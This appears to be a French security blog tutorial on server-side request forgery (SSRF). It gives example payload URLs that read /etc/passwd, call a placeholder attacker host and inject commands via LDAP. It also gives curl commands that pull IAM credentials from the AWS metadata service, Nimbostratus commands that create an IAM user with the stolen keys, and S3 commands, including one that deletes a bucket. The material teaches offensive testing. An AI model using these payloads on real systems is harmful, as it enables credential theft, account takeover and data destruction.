La Server-Side Request Forgery (SSRF)

La falsification de requêtes côté serveur (SSRF) exploite la relation de confiance entre un serveur web et d’autres systèmes de backend qui ne sont normalement pas accessibles à un attaquant (par exemple en raison de pare-feu ou de règles d’application). Elles sont particulièrement dangereuses dans les infrastructures en cloud comme AWS, car la SSRF permet à un attaquant d’interroger des services internes comme l’API de métadonnées d’Amazon pour obtenir des informations d’identification et d’autres données sensibles.

Avertissement :
Utiliser les techniques présentées sur ce blog, sur des systèmes qui ne vous appartiennent pas est ILLEGAL et peut vous exposer à de lourdes sanctions.

Si vous souhaitez vous exercer, vous devez le faire sur un système qui vous appartient, ou avec un accord écrit du propriétaire.

Je ne pourrais en aucun cas être tenu pour responsable de vos actes.

Techniques

Technique de base

En général, vous rechercherez des paramètres mal aseptisés qui acceptent les URL, que ce soit dans les requêtes GET ou POST. Parmi les endroits habituels pour le SSRF, citons :

  • En-tête HTTP Referer
  • URL partiels dans les requêtes (assemblés côté serveur)
  • SSRF via XXE

Exemples

Dans les exemples ci-dessous, localhost est utilisé dans l’URL pour accéder à des données et des services qui ne sont accessibles que par le réseau local.

Exemple de requête GET avec une redirection ouverte vulnérable :
http://[host]/page?url=http://localhost/api/getuser/id/1
Exemple de requête POST avec un paramètre d’URL non nettoyé similaire :
POST /page HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 300

url=http://localhost:1234

Certaines attaques du SSRF donneront lieu à une réponse que vous pouvez voir sur le site web vulnérable, mais d’autres peuvent être aveugles.

Vous pouvez également tester des protocoles autres que HTTP :

http://[host]/page.php?url=file:///etc/passwd
http://[host]/page.php?url=dict://[evilhost]:1234/
http://[host]/page.php?url=sftp://[evilhost]:1234/
http://[host]/page.php?url=ldap://localhost:1234/%0astats%0aquit

Attaquer AWS avec une SSRF

L’AWS d’Amazon dispose d’un service interne de métadonnées qui peut être interrogé à tout moment. Les attaquants peuvent utiliser les vulnérabilités du SSRF pour récupérer les informations des instances et, dans certains cas, apporter des modifications à l’infrastructure. Le CLI d’Amazon remplit une fonction similaire.

Il existe deux normes de métadonnées pour l’API AWS – la plus récente exige que vous génériez un jeton à court terme avant d’émettre des commandes. Cependant, l’ancienne version sans jeton ne semble pas vouloir disparaître, vous pouvez donc simplement utiliser curl http://169.254.169.254/whatever pour obtenir les mêmes données.

La commande suivante, tirée de la documentation sur les métadonnées d’Amazon, vous permet de générer un jeton de 6 heures, de l’enregistrer dans une variable et d’afficher les éléments de métadonnées de premier niveau :

TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` \
&& curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/

Les éléments de métadonnées de haut niveau ressembleront à ceci :

ami-id
ami-launch-index
...
public-keys/
security-groups

De là, vous pouvez passer des appels à l’API pour visualiser en détail chacun des éléments de métadonnées.

Par exemple, la commande suivante vous permet de visualiser les scripts de démarrage de l’instance, qui peuvent révéler des informations d’identification ou des chemins d’accès à des espaces S3 sensibles :

curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/user-data/

Pour visualiser les rôles de l’instance :

curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/iam/security-credentials/

Une fois que vous avez un nom de rôle, vous pouvez demander des références pour ce rôle :

curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/iam/security-credentials/SomeRole

{
  "Code" : "Success",
  "LastUpdated" : "2019-12-03T18:08:16Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA...",
  "SecretAccessKey" : "V...",
  "Token" : "SomeBase64==",
  "Expiration" : "2019-12-04T00:17:43Z"
}

À ce stade, vous pouvez envisager d’utiliser des outils d’énumération automatique des métadonnées du SEA, comme Nimbostratus, pour déterminer les autorisations disponibles pour un rôle :

sudo python nimbostratus dump-permissions --access-key=ASIA... --secret-key=V...

Vous pouvez également tenter de créer un nouvel utilisateur, comme preuve de concept :

sudo python nimbostratus create-iam-user --access-key=ASIA... --secret-key=p...

Enumérer les bucket S3

Le CLI de l’AWS peut être utilisé pour fouiller les buckets S3 connectés. Quelques commandes utiles :

aws s3 mb s3://bucket-name            # create a bucket
aws s3 ls                             # list buckets
aws s3 ls s3://bucket-name            # list things in a bucket
aws s3 rb s3://bucket-name --force    # delete bucket + contents


Dans un prochain article nous verrons le Remote code execution (RCE).

En attendant, retrouvez tous nos articles :

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *